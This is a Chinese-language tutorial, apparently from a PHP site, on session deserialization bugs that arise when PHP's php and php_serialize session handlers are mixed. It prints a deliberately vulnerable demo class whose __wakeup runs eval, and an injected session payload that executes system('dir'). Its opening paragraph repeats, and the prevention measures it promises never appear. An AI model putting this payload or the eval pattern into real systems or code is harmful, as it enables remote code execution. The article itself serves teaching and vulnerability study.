目录
- PHP session
- php三种序列化处理器
php小编鱼仔今天为大家带来一篇关于php session反序列化漏洞的深入探究文章。php session机制是web开发中非常重要的一环,然而不当的使用会导致一些安全隐患,其中session反序列化漏洞就是一种常见的攻击方式,可能导致严重后果。本文将深入探究这种漏洞的原理、危害以及预防措施,帮助广大web开发者更好地保障自己的系统安全。
PHP session
php session 反序列化漏洞存在的原因:当序列化session和读取反序列化字符时采用的序列化选择器不一样时,处理的方法不一样。
php小编鱼仔今天为大家带来一篇关于php session反序列化漏洞的深入探究文章。php session机制是web开发中非常重要的一环,然而不当的使用会导致一些安全隐患,其中session反序列化漏洞就是一种常见的攻击方式,可能导致严重后果。本文将深入探究这种漏洞的原理、危害以及预防措施,帮助广大web开发者更好地保障自己的系统安全。
php三种序列化处理器
序列化处理器
php (php默认中使用的序列化) 存储格式为:键名 + 竖线 + 经过serialize()函数反序列化处理的值php_binary 存储格式:键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值
php_serialize 在php版本>5.5.4中可以选择使用 存储格式:经过serialize()函数反序列处理的数组
通过php.ini 可以设置保存路径配置 php session 参数是 session.save_path=“保存路径”
php 中配置session序列化处理器通过ini_set()方法进行选择 :ini_set(‘session.serialize_handler’, ‘处理器’);
生成session php_serialize序列化处理器
demo2.php <?php ini_set('session.serialize_handler', 'php_serialize'); session_start();//创建一个session 会话(当客户端第一次访问时会生成一个随机的session文件在指定保存目录中) $_SESSION['session'] = $_GET['k']; var_dump($_SESSION);
访问该页面
查看session 文件保存路径,生成了一个sess_一串随机字符的文件,打开文件查看,从get提交的值以序列化的格式存储到该文件。
在读取session时使用不一样的序列化处理器,使用php_serialize 序列化处理会把 符号 “|“作为一个正常的字符处理。而php序列化处理器会把”|” 当成分割符处理。
ctf.php <?php ini_set('session.serialize_handler', 'php'); session_start(); class test{ public $name; function __wakeup(){ eval($this->name); } }
构造成反序列化payload为:k=|O:4:“test”:1:{s:4:“name”;s:17:“system(‘dir’);”;}
访问demo2.php
查看sess文件内容:| 分割符被传递了进去
再访问ctf.php,触发了__wakeup函数从而执行了eval代码执行命令,由于使用不同的序列化处理器来处理session文件,序列化对特殊符号的处理方法不一样,从而导致产生了漏洞
以上就是PHPsession反序列化漏洞深入探究的详细内容,更多请关注php中文网其它相关文章!